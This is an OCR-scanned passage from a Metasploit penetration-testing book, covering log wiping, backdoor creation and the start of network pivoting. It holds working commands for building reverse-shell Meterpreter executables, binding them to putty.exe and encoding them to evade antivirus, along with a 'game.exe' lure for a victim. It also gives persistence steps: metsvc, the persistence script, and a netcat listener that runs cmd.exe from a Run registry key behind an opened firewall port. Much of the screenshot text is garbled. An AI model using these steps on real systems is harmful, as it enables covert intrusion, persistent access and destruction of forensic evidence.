SUCCESS: The process “avgosrvx.exe® with PID 884 has besn terminated
SUCCESS: The process “avgfws . exe® with PID 304 has been terminasted.
SUCCESS: The process “avatray.exe® with PID 412 has been terminated, |

C:\Docusents &nd SetiingsyAomine

After executing the command, we can see that all the processes are successfully
terminated.

The next phase of clearing tracks will be to clear the system logs. System and
application logs are events that are logged by the operating system and the
applications running on it. These have utmost importance from the forensics
perspective, as they show the state of changes or events that occurred in the system.
Any suspicious activity is also logged; hence it becomes important for an attacker to
clear these logs to remain hidden.

Image taken from https://paddle-static.s3.amazonaws.com/HR/CleanMyPC-BDJ/CleanMyPC-icon.png
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After successfully disabling the firewall and the antivirus, the last thing we have to do
that is to clean all evidence such as logs in the computer system. First we will check in
the victim's system using the Event Viewer to see if any logs were created or not.

B tvent Viewer E E El

Fls Adion  Wisw  Help

- AR EFDB @

Apolicaion 118 event(s)

Type | Date | Time | Source i
Adirformation  Si1 /013 11:35;37 ,,. ESENT
Jdirformation  5{1/2013 11:35:37 ... ESENT
Dirbormation  5/1/2013 11:30:36 ... ESENT

S irformstion  5/1/2013 1130036 ... ESENT
S irformation 512013 112052, SecurityCenter
Sdirformation  5/1/2013 110046 ,,. ESENT
Birformation  5/1/2013 10:01:46 ... ESENT
LDirformation  5/1/2013 11:06:46 ... ESENT
S irformation  S5f1/E013 11:06:46 ... ESENT
Sirformation  5/1/2013 11:06:01 ... SecurityCenter
Lirformation  571/2013 10:58:15 ,,. ESENT

-_.I;}I.rl‘wmm 5203 1058115 ... ESENT
I Irformation M M3 IEA A .. PRRNT »
4 ¥

We can see in the preceding screenshot that there are three logs, classified as
Application, Security, and System. In the Application section, we can see that there
are 118 events being created. Now we have to clear all these logs. For cleaning the
logs, we will use the Meterpreter command clearev, which will wipe all the logs
from the victim's system. So type in clearev.

meELerpreter >

Wiping 118 records from Applicationm...

Wiping 467 records from System...

Wiping @ records from Security...
meterpreter »
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After executing the command, we may see the result in the preceding screenshot -
118 application records and 467 system records have been wiped off. Let us confirm
this using Event Viewer in the victim's system.

@ = e e L
Sty
Sysham

There are no lbews Lo show in this view,

We can see that all logs have been successfully deleted from the victim's system.
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Summary

In this chapter, we learned the strategies for clearing our tracks and avoiding getting
caught by the administrator by the use of simple Meterpreter scripts. Since firewalls
and antiviruses are the main defenses against the attack vectors of an attacker, it
becomes extremely important for an attacker to pay heed to these things. We also
came across multiple techniques for disabling a system firewall and hence the victim's
defenses. We followed the approach of an attacker and were able to hack safely into
the system by clearing our traces. So, until now, we have covered the second phase

of post-exploitation, which is one of the most important phases in the exploitation
process. In the next chapter we will cover the techniques of working with backdoors
and setting them up on the victim's system for retaining permanent access.

References

The following are some helpful references that shed further light on some of the
topics covered in this chapter:

e http://en_wikipedia.org/wiki/Firewall_(computing)

* http://pentestlab.wordpress.com/2012/04/06/post-exploitation-
disable-firewall-and-kill-antivirus/

e http://www.securitytube.net/video/2666
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Post Exploitation — Backdoors

In the previous chapter we focused on cleaning our tracks to avoid getting detected
and caught. This chapter will cover the techniques on maintaining access to the
compromised system by using backdoors. Backdoors play an important role in
maintaining persistent access to the system and using the system as per the attacker's
needs without attacking it again and again. We will discuss how to evade a malicious
executable file from being detected by an antivirus scanner and compromise the user
machine. Additionally, we will be discussing how to use encoders to make these
executables undetectable.

What is a backdoor?

A backdoor is a means of gaining access to a computer by ways that bypass the
normal security mechanisms in place. With the development in technology, it now
comes with a remote administration utility that allows an attacker to control the
system remotely from anywhere through the Internet. This can be in the form of
bypassing authentication, obtaining access to confidential information, and securing
illegal access to a computer system. Trends indicate that these have been more
focused on downloading/uploading files, remotely taking screenshots, running
keyloggers, gathering system information, and hampering user privacy.
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As an example, consider a client-server network communication where the attacked
machine acts as a server and the client is our attacker. Once the server application is
started on the compromised user, it starts listening for incoming connections. Hence
a client can easily connect on that specific port and start the communication. Once
the communication starts, it may be followed up with other malicious activities as
described earlier. We have a kind of reverse connection between the server and the
client. The server connects to a single client and the client can send a single command
to multiple servers that are connected.

Payload tools

We may come across several payload-making tools throughout this chapter. They are
briefly described here:

* msfpayload: This is a command-line instance of Metasploit used to generate
and output all of the various types of shell code available in Metasploit.
This is mainly used for the generation of shell code for an exploit not found
in Metasploit or for testing different types of shell code and options before
finalizing a module. It is an excellent mix of different options and variables.

* msfencode: This is another great tool in the Metasploit kit for exploit
development. Its main use is to encode the shell code generated by
msfpayload. This is done to suit the target in order to function properly. It
may involve transforming the shell code into pure alphanumeric and getting
rid of bad characters and encoding it for 64-bit targets. This can be used to
encode the shell code multiple times; output it in various formats such as C,
Perl, and Ruby; and even merge it to an existing executable file.

* msfvenom: Technically speaking, msfvenom is a combination of msfpayload
and msfencode. The advantages of msfvenom include a number of
standardized command-line options, a single tool, and increased speed.

Creating an EXE backdoor

In this section, we will learn how to create a malicious backdoor using inbuilt payloads.
But before starting this, we will check the location (payload directory) of these
payloads in the Metasploit framework. So we go to the root directory and then to /
opt/metasploit/msf3/modules. Under this directory, we find the payloads directory.
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We can also see all these payloads from msfconsole by using a simple command. Just
type in show payloads and it will list all payloads.

Edit View Bookmarks Settings Help
show payloads

Payloads

Name
aix/ppc/shell bind tcp
alx/ppc/shell find port
aix/ppc/shell interact
alx/ppc/shell reverse tcp
bsd/sparc/shell bind tcp
bsd/sparc/shell reverse tcp
bsd/x86/exec
bsd/x86/metsvc bind tecp
bsd/x86/metsvc reverse tcp
bsd/x86/shell/bind_ipvé tcp
bsd/xB6/shell/bind tcp
bsd/x86/shell/find tag
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For creating a backdoor with the help of a payload, there are three available tools
in Metasploit, nsfpayload, msfencode and msfvenom. These three tools are found
at Zopt/metasploit/msf3.

Tools Settings Help

m lcons ! Details

ploit » msf3

9 Folders, 18 Files

Now we will see how to use msfpayload for creating a backdoor. Open the
terminal and enter the path to the msfpayload directory. In our case, it is
cd /opt/metasploit/msf3.

Bookmarks

05 H":I'l

opt/metasploit/msf3
pt/metasploit/msf3# 1s

modules scripts
data test
documentation tools
external [msTpayload]
HACKING plugins
lib README

root@bt: /opt/metasploit/msf3# ||
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Now we are in the directory and we can use msfpayload for creating a backdoor;
that is, the location of msfpayload. Typing in ./msfpayload -h will show us all the
usable commands of the msfpayload.

btsfopt/metasploit/msT3N) . /msfpayload -h

Usage: | smefpayload [<options=] <payload> [var=val] <[Siweeary|C)[P]erljRubly] ][
Jow| [d )8l X]e| [DILL][V]BA] [Wiar=

OFTIONS:
h Help banneér
-1 List available poyloads

fopt/matasplolt fes T 1 I

We see that there is an option for <payload>. This means that we have to select a
payload first from the payload list, which has already been shown to you by the show
payloads command. So we now select a payload.

windows/vncinject/reverse http
windows/vncinject/reverse ipvé http
windows/vncinject/reverse_ipv6_tcp
windows/vncinject/reverse nonx_ tcp
windows/vncinject/reverse ord tcp
windows/vncinject/reverse tcp
windows/vncinject/reverse tcp allports
windows/vncinject/reverse_tcp_dns
windows/x64/exec
windows/x64/loadlibrary

I windows/x64/meterpreter/reverse tcpl

windows/xb64/shell/bind TcCp
windows/x64/shell/reverse_tcp
windows/x64/shell bind tcp
windows/x64/shell reverse tcp
windows/x64/vncinject/bind tcp
windows/x64/vncinject/reverse _tcp

msf > []

For example, here we are selecting the windows/x64/meterpreter/reverse_tcp
payload for creating our backdoor.
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Now type in ./msfpayload windows/x64/meterpreter/reverse_tcp
LHOST=192.168.0.105 X> root/Desktop/virus.exe.

The syntax to be used is as follows:

PAYLOAD NAME - windows/x64/meterpreter/reverse_tcp LHOST(your local 1P
address) - 192.168.0.105 X> (Giving path directory where to create virus.
exe backdoor)- root/Desktop/virus.exe

"":-l' -‘r.i.p.a:.-]l:-all windows/x6d/meterpreter /reverse top LHOST

: w'r'-irv.r:..-'mq,-'r'r:tcrpretcr.-' reverse tep
t A7

{“LROST“e==192, 168 8. 185"}
viopt/metasplodt /e 28 ]

After typing in the command, we see that we have a virus.exe backdoor on our
desktop. That's it; we are done. It is that easy to create a backdoor using msfpay load.
If we do not want to create our own EXE file and just want to bind with another

EXE file (may be with a software setup file), we can do it by using a mixture of
msfpayload and msfvenom.

We will now bind our backdoor EXE file with the putty.exe file. Type in the
following command very carefully:

./msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.0.105 R |
msfencode -e x86/shikata_ga nai -c 6 -t exe -x/root/Desktop/putty.exe -0
/root/Desktop/virusputty.exe

The syntax to be used is as follows:

PAYLOAD NAME - windows/x64/meterpreter/reverse_tcp LHOST(your local 1P
address) - 192.168.0.105 ENCODER NAME - x86/shikata_ga nai c(The number
of times to encode the data) - 6 t(The format to display the encoded
buffer) - exe x (Specify an alternate win32 executable template)- root/
Desktop/virus.exe o(The output file) - root/Desktop/virusputty.exe
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We can see in the following screenshot that our virus file, virus.exe, has been
bound with putty.exe to give us virusputty.exe, which is available on our

desktop for use.

sfopt feetasploit

& -0 Sroot/Deskiop/virusputty.ese

i 38 . fasfpayload windows/xdd/metlerpreter freverse top LHOST
=192_168.8.1685 R | msfeéncods x86/5hikata ga nai

C 6 -t éxe -x Sroot/Desktop/putty.e

[*] =BE/shikatd ga ndl succeeded with

sBb/ahikata ga nal succeeded wilh

|*] =BG/ shikata ga nal succeeded with sire 335 (ileration=11
[*] zgG/shikata g3 nal sucoesgad wWith size 476 (Lteration=2)
[*] xE@/shikatd ga nal succeeded with sile 593 (Lleratict=3)
l‘] XBE/ShiKATA 93 nAal Succesdsd with sire 330 [itaration=4)

size 557

siie S04

[LTerationsh]

[Lteration=G&)

Up to this point in the chapter, we have learned to create a backdoor with msfpayload
and msfvenom. The next step is sending this backdoor EXE program to a victim by

using any of the social engineering techniques.

Creating a fully undetectable backdoor

The backdoor that we have created in the earlier section is not very efficient and
lacks detection-evasion mechanisms. The problem is that the backdoor can be easily
detected by an antivirus program. So, in this section, our main task will be to make
an undetectable backdoor and bypass the antivirus program.
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We just sent our virus.exe file to the victim by changing its name to game.exe so
that he/she will download it.

) Index of /backdoor. - Mozilla Firefox

File Edit Mjew History Bookmarks Tools  Help

[ i} Index of fbackdoor = i P VirusTotal - Free Online Wirus, . 7 | 22|

& 192,168.0, 105 backdoor | B - sooge 2| H

Index of /backdoor

Name Last modified  Size Description
3 Parent Directory -
gatne. exe 12-Wlay-2013 17:.57 72K

Apache/2. 2. 14 (Ulbuntu) Server ar 1921680105 Fore 50

After downloading the game . exe file, it gets detected by AVG antivirus as a virus.

¥ AVG Internet Security

Hamr: Virie fourd VWm0 2 Hae o

Doy mames LD eoumenis and ."aE‘f‘ilF'ii-'.'l'FE':|l'-'l'IE:"!'E-?'-'l':II.'-l"-i.i'r-'ll". exg

Protect Me [recommended]

3l winth this theear. AVG will chonse the Dest acman lor
WS ENireat

lgnare the threat

The identified file will remadn in @ ourcenl lscaton on your diek. To
preure youar e proteched, Resddent Shieid will e R TR T
[k et e il
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Our backdoor is easily detected by the antivirus program and we have to make it
undetectable. Let us start the process. We will use msfencode and an encoder to do
this. First, select a good encoder for encoding the backdoor EXE file. Type in show
encoders; this will show the list of available encoders in Metasploit.

File Edit View Bookmarks 5Settings Help

Encoders
Name Disclosure Date Rank Description
cmd/generic sh good Generic Shell Var
ution Command Encoder
cmd/ifs low Generic ${IFS} Su
mmand Encoder
cmd/printf php mg manual printf(1) via PHP
Utility Command Encoder
generic/none normal The "none" Encode
mipsbe/longxor normal X0R Encoder
mipsle/longxor normal XOR Encoder
php/base64 great PHP Baseb4 encode

We can now see the encoders list. We will select x86 shikata_ga_nai because it has
a rank of excellent.

Settings

Help

yload Encoder

x86/ countdown normal single-byte XOR C
der

x86/fnstenv_mov normal Variable-length F
ord XOR Encoder

x86/jmp call additive normal Jump/Call XOR Add
k Encoder

x86/nonalpha low Non-Alpha Encoder

XBA/nOnUDNEr Lot Mon-Upper Encoder

| %86/shikata ga nal excellentl Polymorphic XOR A

ack Encoder

x86/s5ingle static bit manual Single Static Bit

%86/unicode mixed manual Alpha2 Alphanumer g
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Now type in the following command:

-/msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.0.105 R |
msfencode -e x86/shikata_ga_nai -c 1 -t exe -x/root/Desktop/game.exe -0 /
root/Desktop/supergame.exe

The syntax to be used is as follows:

PAYLOAD NAME - windows/meterpreter/reverse_tcp LHOST(your local IP
address) - 192.168.0.105 ENCODER NAME - x86/shikata_ga nai c(The number
of times to encode the data) - 1 t(The format to display the encoded
buffer) - exe x (Specify an alternate win32 executable template) - root/
Desktop/game.exe o(The output File) - root/Desktop/supergame.exe

We can see in the following screenshot that our supergame . exe file has been created.

File Edit WView

=1

root@bt: /opt/metasploit/msf3# ./msfpayload windows/meterpreter/reverse t
cp LHOST=192.168.0.105 R | msfencode -e x86/shikata ga nai -c 1 -t exe -
a ¥86 -x /root/Desktop/game.exe -o /root/Desktop/supergame.exe

[¥] xB6/shikata ga nal succeeded with size 317 (iteration=1)

root@bt: /opt/metasploit/msf3# []

Again, we send the supergame. exe file to a victim in the form of a link and make
him/her download the supergame .exe file onto his/her desktop.

[ 188]



Chapter 10

¥) Index of /backdoor - Mozilla Firefox

File  Edit Miew History  Bookmarks  Tools  Help

Index of jbackdoor | +

= 192,168,0,105/backdanr | & | |- Google S

Index of /backdoor

Name Last modified  Size Desciiption
3 Parent Directory -
gatne exe 12-May-2013 1757 72K

|w 12-May-2013 1332 72K |

Apache/2. 2,14 (Ubuntu) Server at 19216500105 Pori 80

8 | AVG Internet Security

Reports

{#) Sheil exiension scan

STA0NY, 359 P
ISR Wil Elamcisd Ehs BCAMh

A chive all

If the victim scans the supergame . exe file with his/her antivirus program, he/she
will find it to be a clean file.

Archive fepart
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If you don't like typing so many commands in the terminal, there is another easy
way to create an undetectable backdoor with the help of a script. This script is
called Vanish. Before working on the script, we have to install some packages that
are required by the Vanish script, in BackTrack (BackTrack is a distribution based
on the Debian GNU/Linux distribution aimed at digital forensics and penetration
testing use). So type in apt-get install mingw32-runtime mingw-w64 mingw
gcc-mingw32 mingw32-binutils. It will take a few minutes to install all the
necessary packages.

potiht =8 apt-get install mingwi2-runtime mingw-wh4 minge goc-mingwd2 m
ingw3Z2-hbinutil

After successfully installing the packages, we have to just download the script from
the Internet by typing in wget http://samsclass.info/120/proj/vanish.sh; the
vanish.sh file is saved on the desktop.

btz=/Deshtopd lwypel hitp://samsclass.info/128/proj fvanish.sh

==20813-85-12 21:88:13-- hitp://sansclass.info/138/proj /vanish, sk
Resolving samsclass.infe.., 141.101.117.152, 141.191.116,152, 24909:cbag:
264821 :BAE5: T49E,

Connecting to samsclass.info|141.101.117.1%2]=86... conmected,

HTTR reguest sent, Awalting response... 200 OK

Length: 3381 (3.3%) [textsw-sh]

Saving to: wanish.sh

>] 3,381 11.6K/s  In 0.33

2013-65-12 21:69:15 (11.6 KB/%) vanish.sh® sawved [3381/3381)

tz=/Desktops ||
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After that, type in 1l van*.

File Edit View Bookmarks Settings Help

After that, we have to move the Vanish script that is in the Metasploit directory to
pentest/exploits/framework?2.

Tools Settings Help

g lcons u Details

s b framework2
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Our Vanish script is now ready for use, so let us go to that directory and type in
sh vanish.sh.

View B irk S gs Help

rooti@bht:~#lcd /pentest/exploits/framework?
root@bt: /pentest/exploits/framework2#

EEE S e S s S R RS FEE S o ok

EEE S FE S S

Fully Undetectable Metasploit Payload generaor Beta
Original Concept and Script by AstrBbaby
Stable Version of Script is Edited by Vanish3r
Video Tutorial by Vanish3r - www.securitylabs.in
Powered by TheHackerNews.com and securitylabs.in
Network Device On your Computer :
1o
etho:
Which Interface to use 7 |J]

framework2

After executing the script, the script will ask for the network interface on which we
want to use it. Type in ethO.

File Edit View Bookmarks Settings Help

root@bt:~# cd /pentest/exploits/framework2/
root@bt: /pentest/exploits/framework2# sh vanish.sh
Fully Undetectable Metasploit Payload generacr Beta
Original Concept and Script by Astr@baby
Stable Version of Script is Edited by Vanish3r
Video Tutorial by Vanish3r - www.securitylabs.in
Powered by TheHackerNews.com and securitylabs.in
Network Device On your Computer :
lo:
ethd:
Which Interface to use ?
What Port Mumber are we gonna listen to? :
Please enter a random seed number 1- B, the larger the number the
larger the resulting executable :IZZ?B

How many times code 7 1-20 :
Current Ip is : 192.168.0.103]
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After providing the device interface, it will ask for a few more options, such as the
port number of the reverse connection it will listen to (4444), a random seed number
(we enter it as 2278), and the number of times to encode the payload (we specify 2).
After giving these details, it will create a backdoor .exe file in the seclabs directory.
The seclabs directory is located in the same directory as the Vanish script. The
payload handler will also be automatically launched in msfconsole by the script. Now
we just have to send that backdoor . exe file to the victim and wait for its execution.

We have, up to this point, learned about the different methods and tricks for creating
a backdoor. Now we will go to the next part - handling the reverse connection from
the victim's computer after executing the backdoor. After sending the payload to the
victim, open msfconsole and type in use exploit/multi/handler.

[ B85 exploits - 451 auxiliary - 135 post
| 246 payloads - 27 encoders - B nops
[ syn rl4885 updated 445 days ago (2012.82,23)

T p—————
o ” i

[Warning: This copy of the Metasploit Framework was last upd

wWe recommend that you update the framework at leas

For information on updating your copy of Metasplodi
https://community.rapid?.com/docs/D0OC- 1306

msf > juse exploit/multi/handler|
msf exploit({handler] > ||
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Then just set all the payload details in this handler and send it to the victim. Type in
set PAYLOAD <your payload name>; for example, here we are using set PAYLOAD
windows/meterpreter/reverse_tcp.

mu] = wse exploft/mult L hand e
psd  eeploit{handier) =] sel PAYLOAD windows/melerpreter/reverse 1Lp|

FAYLOAD => windows/meterpretar, Teverse top
nsf exploitihandler) =

After that, set the local host address that you have provided to your backdoor EXE
file. Type in set LHOST <IP address>; for example, here we are using set LHOST
192.168.0.103.

File Edit View Bookmarks Settings Help

msf > use exploit/multi/handler

msf exploit{handler) > set PAYLOAD windows/meterpreter/reverse tcp
PAYLOAD => windows/metegpreterireverse top -
msT exploit(handler) =} set LHOST 192.168.0.183
LHOST == 192.168.0.1083
msf exploit({handler) = ]

This is the last and final type of attack using the technique of exploitation and we
will see that our reverse handler connection is ready for receiving connections.

Bookmarks Settings Help
msf exploit(handler) > set LHOST 192.168.0.103
LHOST == 192.168.0.183
msf exploit(handler)

Started reverse handler on 192.168.0.103:4444
Starting the payload handler...
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After executing the backdoor, the reverse connection will be established successfully

and a Meterpreter session will be spawned on the attacker's system.

|*] Starfed reverse handler on 152.168.9.103 4444
[*] szartion fhe pavigad hapdler

*] Sending stage (752128 byles) to 192.1068.0.1006

J013-05-13 20:32:54 «8530

|
[*] Meterpreter session 1 opened (192.168.8.103:4444 -= 192 .168.8,190
L

meierpreter = i

Let us obtain information about the victim's system by checking his/her

system properties.

fneterpreter =|sysinfo

: PHNED-f2526EA3T

: Windows XP [Build 2686, Service Pack 2).

i XBR

|5ysten Language : en US
Meterpreter ; XBESwWin32
neterprater = |

It is time to learn something different. In this section we will learn to install a

backdoor in the victim's system after attaining a Meterpreter session.

There is another backdoor available in Metasploit, which is known as metsvc.
We will first check the commands that can be used with this backdoor, so type

in run metsvc -h and it will show us these.

r1|'||!|||||:|:|!r =

d manually)

OPFTIONS

=i .flIJEI]ﬂ-iEJ.Eﬂ-'U.:.' ETart a Pa'[':l'lil'llil pultifhandier To connect To TR
service

h This help mehu

r Uninstall an existing Meterpreter service [(files must be dele
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We can see that the -A option will automatically launch a backdoor in the victim's
machine. So type in run metsvc -A.

pelerpreter run metsve -A

[*] CreaTing m METErpreTer Lervice on part 31337
[*] Creating & temporary fnstallation directory]C: WINDOWS\TEMECFCRENTEIFKE,

[*] == Uploading metsrv.dll._.
[*] == Uploading metsvi-sarver.sxe, ..
[*] =»» Uploading mefsve. exe. |
[*] Starting tThe service...
* Installing service metsve
* Btarting service
Ceryice metive successfully imstalled.

[*] Trying to connect to the MHeterpreter serwice at 192168 0.108:313%37...
metErpreter =j|*=| HeterEreter_i.ﬂunn I opeEnied f{192.168.0.103: 44167 -= 192.16
B.B.186:3133T) at 2813-85-13 21:11:32 +B@538

neterpreter = [

We can see that a second Meterpreter session is established from the victim's system

and the malicious backdoor metsvc-server .exe file is successfully uploaded in the
victim's system and executed.

L Windows Task Manager E|@®
File Options ‘iew Shut Down Help

| Applications | Processes | performance | Metworking | Users

I Image Mame Ilser Mame CPU Mem Usage i
wscnkfy, exe Wickim oo 2,036 K
wuaudt, exe Mickim i} 4,876 K

== i ] 3,092 K
SYSTEM i 3,548 K

meksye, exe SYSTEM o 1,603 K
TSRO, exe VTS AT o1 3,796 K
avgui.exe Wickim Qo &,705 K
WBoxTraw.exe Wickirn [a]i] 2,202 K
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The victim's task manager displays our backdoor service as running. These malicious
files are uploaded to Windows' Temp directory at C:\WINDOWS\Temp\CFCREntszFKx.

& CFcREntszFKx E] @ E

File  Edit Wiew Faworibes Tools  Help

T 1 - & =
G Back ?, 'ﬂ' / Search | Folders

Addresd | COWINDOWS| TemplCFcREREszFK:: | G0

metsey, dll

rmeksyc

[ metswC-server

If you want to remove that backdoor service from the victim's system, type in
run metsvc -r.

meterpreter =frun metsvc -r
[*] Removing the existing Meterpreter service
*] Creating a temporary installation directory C:\WINDOWS\TEMP\gXImTAgg...
#] == Uploading metsvc.exe...
*] Stopping the service...
# Stopping service metsvc
* Removing service
ervice metsvc successfully removed

meterpreter > |

We can see that the metsvc service is successfully removed, but the EXE files from
the victim's Temp directory will not get removed.
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Metasploit persistent backdoor

In this part, we will learn to use a persistent backdoor. It is a Meterpreter script that
installs a backdoor service in the target system. So type in run persistence -h for
showing all the commands that can be used with a persistent backdoor.

8 persistent backdoor on a target host.

[HPTIEENS :

-4 Automatically start a matching multi/handler to connect to the
agent
-L =opt= Location in target host where fo write payload fo, if none LTEM
FL wWill he used.
-p <ppt= Paylead to use, default is windows/materpreter/reverse tep.
& Automatically start the ageni on bool as a service (with SYSTEM
privileges}

-T =opt= Alternate executable template To use

-4 Automatically start the agent when the User logs on
i Automatically start the agent when Lhe system bools
-hi This help meni

-1 =ppt>= The interval in seconds between each connection atteaopt

-p =ppt= Th& port on the remote host where Metaspleit is listening

r woppt>» The IP of the system running Hetasploil Listening for the conne
cT back

After understanding the usable commands, type in run persistence -A -L C:\\
-S -X -p 445 -i 10 -r 192.168.0.103.

The commands in this syntax are explained as follows:

: For automatically starting a payload handler

: The location in the target host for dropping the payload

: For automatically starting the agent when the system boots

: The port number for listening to reverse connections

- T O - >

: The time interval for new connections

* r:The IP address of the target machine
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Now we run our persistence backdoor script as shown in the following screenshot:

meiarpreter =lrun persistence =& =L Ce\y =5 =N =p 443 =i 10 -r 197,168.0.103
[*] Running Persistance SCripl
1*] Resource file for cleanup created at froot.ssF4/logs/persistence/PUNED-O
2326E037 20138513, 2451 /PANED-Q2526E037 200130313, 2432, rc
1#] Creating Paylosi=vindowi/melerpreter/reverse Lop LHOST=192.168.0. 103 LPOR
T=44%
I*] Persistent agent Script is 613938 byies long

Persistent Script written to Co\iWKKIcBExOshOPT. wbs
[*] Starting connection handler at port 445 for windows/meterpreter/reversie 1T

multifHandler starteal
1*] Executing script C:\\KkZcBxCmhGPT.vbs

agent executed with PID JB0E
[*] Installing inta autormn as HKLISofteare\Microsofti\Windows\Curréntersion
A\ ukenlIF0ds FvD

Installed fnto agtorun as HELH\SoftwareMicresoftiwindews\Correntersiony
Runy ukenJIFDdSPYD
[*] Installing as service,.
i*] Creating serv
Far Fax [¥)
0. 186:1217) &t 20

terpreter > ||

(192.168.06.103:445 -» 192,168,

We see that a Meterpreter session has been established from the victim's system.
Let us verify whether the payload is dropped in the victim's C: drive.

= | ocal Disk (C:) Q@El

File Edit Wiew Favorites Tools  Help I

% - 3 e, .
@Back ? ._j 7 Search - Folders

Aiddress |~a-ﬂ C:'I,- I vi G0

Dacuments and Settings

Program Files

WINDOWS

kkZeBxCmbGPT
WESCript Script File
600 KB
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If you want to remove that payload, we have to type in resource and the
path of the file that has been created at the time of running the persistence
command. We can find the path in the previous step. Type in resource /
root/.mst4/1ogs/persistence/PWNED-02526E037_20130513.2452/PWNED-
02526E037_20130513.2452.rc.

eTeFRreter = resaurce freat) . mstd/logs/parsistence/PAUNED- 025266037 20138513,
452/PAMED-82526E037 20130513.2452.r¢

[*] Boading /rooL;.msi4; l00s/ persLs Lence
B2326ERAF 281385313, 24%7.rC

{*] Running rm Coy\WKkZcBxCmbhQPT. vhs

1*] Running kill 2863

kKilling: 2088

[*] Running reg deleteval -k 'HELMASoftware\Microsoftieindows\Currentversion
Run® -<v wkendIFOdsPy0

quccessfully deleted ukenlIFOdsPul.
{*] Running execute -H -7 3¢ -a “delete KaDOXXDXsPLXHE®

Frocess 1989 created.
meterpreter = I

We are going to show you another famous persistent backdoor, Netcat. We will
upload Netcat on the victim's system through the Meterpreter session. Just as in the
following screenshot, we will see the nc. exe file on our desktop; that file is Netcat.
Now we will upload this nc.exe file onto the victim's system32 folder. So type in
upload /root/Desktop/nc.exe C:\\windows\\system32.

melerpreter ~[upload {:n:-'l..-"ﬁ'::hl-ag."nl..:m L Wandowsyysys temdd |

[=] unkuaﬂlng o Sropt/DesktopsnG  exe <> [y\Windows,\S5ysTemst

1*] uploaded : Sfroot/Desktop/nc.exe -» Cowindows'\system32\nc.ene
metarprater =
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We can see that our Netcat program is successfully uploaded onto the victim's
system. An important thing we have to do now is add Netcat to the victim's startup
process and bind it with port 445. In order to be able to do this, we have to tweak
the victim's registry settings. Type in run reg enumkey -k HKLM\\software\\
microsoft\\windows\\currentversion\\run.

peterpreter = red enumkey -k HELM A soliware'\vadcrosaf L\ \windows'\ Cur rentsersioniirun e

Efunerating: ML SOTIWare\RLCros0TV CDyw Lndows W CurrentversLon' run

values (3):

VBoxTray
AND WL
DoLaLigTAxg

Running this command enumerated the startup registry key and we found that
three services were running in the startup process. We can see the three values in the
preceding screenshot. Now we set our Netcat service in this registry value. Type in
reg setval -k HKLM\\software\\microsoft\\windows\\currentversion\\run
-v nc -d "C:\windows\system32\nc.exe -Ldp 445 -e cmd.exe".

NETEFPreter > req satval -k HIiI.H'\';E.Df'[l.’lFP".'\-‘I‘I]|'.H‘l'\.l!l!'["._".'-lll‘-l‘!nw’.'._'u,fl.lrrl"l'lT'.rP'FﬁI-:I:'n'ﬁ,r'ur'l =
nc -4 CCohvwindews\ sysTeaddvac éxné -Ldp 445 -¢ Cmd.eéxe
CuCEREETUL ¥BT ne.

neterprater =

Our Netcat service is attached to the registry, so let us verify whether it is running
properly. Type in reg queryval -k HKLM\\software\\microsoft\\windows\\
currentversion\\Run -v nc.

terpreter = reg gueryval -k HXLMsof bvared \microsoft \windowsh\currentversiony\ Run
11

ey HELMysof tware\mic rosoftywindowsy currentyersioniRan

aDEr N

ype: REG 5F
ata: C:\windows\system32\nc.exe -Ldp 445 -e omd,exe
terpreter »
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The next important thing we have to do is allow the Netcat service, which is at
port number 445, through the victim's firewall. Type in netsh firewall add
portopening TCP 445 "Service Firewall"™ ENABLE ALL.

\Docusents and SeTTingiwwictimDesktopenetsh firesall add portopening TOP 443 “Service Firewall”
EMABIE ALl
netsh Tirswall add partopéning TOF HE "Service Firewall™ EHAELE ALL

After executing the previous command, we see that our port seems to be open. So let
us verify from the firewall settings whether the port is open or not. Type in netsh
firewall show portopening.

C:\Documents and Settingsivictis\beskiopinetsh show portopening
netsh Tirewall show portopening

Part coanfiguration far Standard profile:
Protacal Made

TCR Emable service Firewall
TCP Emable EME owver TCP

We can clearly see in the preceding screenshot that the 445 TCP port is enabled in
the firewall. Now reboot the victim's system and connect the victim's system with
Netcat. Open the terminal and type in nc -v <targetlP > <netcat port no.>;
for example, here we are using nc -v 192.168.0.107 445. Doing this will connect
you back to the victim's machine.

Settings Help

192.168.0.107: inverse host lookup failed: Unknown server error : Connecti

on timed out
(UNKNOWN) [192.168.0.187] 445 (microsoft-ds) : Connection timed out
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Summary

In this chapter we covered various techniques on how to make a backdoor
executable for deployment on the victim's system. We learned to bind the executable
files to legitimate programs and make the victim execute them for us to get a reverse
connection. We also discussed different types of payloads in the Metasploit kitty
and how they work in establishing connections with the backdoor EXE. We also
worked on making an executable undetectable by an antivirus, and hence the user
was not able to distinguish between a normal and a malicious file. Through these
techniques, we were able to learn how to maintain persistent access to the system
once it has been exploited. In the next chapter, we will discuss the final phase of
post-exploitation, which is pivoting and network sniffing.
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e http://www.offensive-security.com/metasploit-unleashed/Msfvenom

[ 203 ]







11

Post Exploitation — Pivoting
and Network Sniffing

What is pivoting?

Pivoting in simple terms is depending on one element to make use of the other
element. In this chapter, we will look into the art of pivoting and network sniffing.
The scenario is more applicable to end-system firewalls, or maybe a web server,
which are the only points for getting into the internal network. We would leverage
this connectivity of the web server with the internal network to connect to the
internal systems through our exploitation techniques covered in the previous
chapters. So in simple words, the first compromised system aids us in compromising
the other systems, which are inaccessible from the outside network.

SERVER 1 SERVER 2
ATTACKER
o o
192.168.0.104
192.168.0.110 10.10.10.2
10.10.10.1
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Pivoting in a network

Well, this is a very interesting part of Metasploit where we will hack into a LAN
network by compromising a system. Here, we already have a compromised system,
and we have a meterpreter shell of that system.

1. First let us check the IP settings on that system by typing in ipconfig. We
can see in the screenshot that the victim has two network adapters. Adapter
#2 has the IP of 10.10.10.1 range.

AMD PCNET Faru.ly- BCI Ethernet Adapter #2 -
ardware MAC: GE:PE:27:70:d5:5%
IP Address [: 10.18.108.1
Hetmask : 255.0.8.8

Packet Scheduler Miniport

% TCP Loopback interface
rdware MAC: GO0:00:00:00:00:00
IP adress :© 127.0.0.1
tmask P 233.8.8.8

AMD PCNET Family PCI Ethérnet Adaptér - Packet Schéduler Minipart
L0 L H.ll.'i ﬂﬂ:ﬂ::ziaﬂzas']‘]

IP Address |: 192,166.0.110

Eimash ¢ 235.233.235.0

2. Now we will check the whole network routing table using the route
command by typing in route.
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ﬂEtEfETEtEr >

Network routes

EffiEFEFEETETE

Subnet Hetmask Gateway
2.0.0.0 9.0.0.0 192.168.0.1
i6.0.0.8 255.0.0.0 16, 16.18.1
1B.18.10.1 £33, 255.233. 255 12r.0,0.1
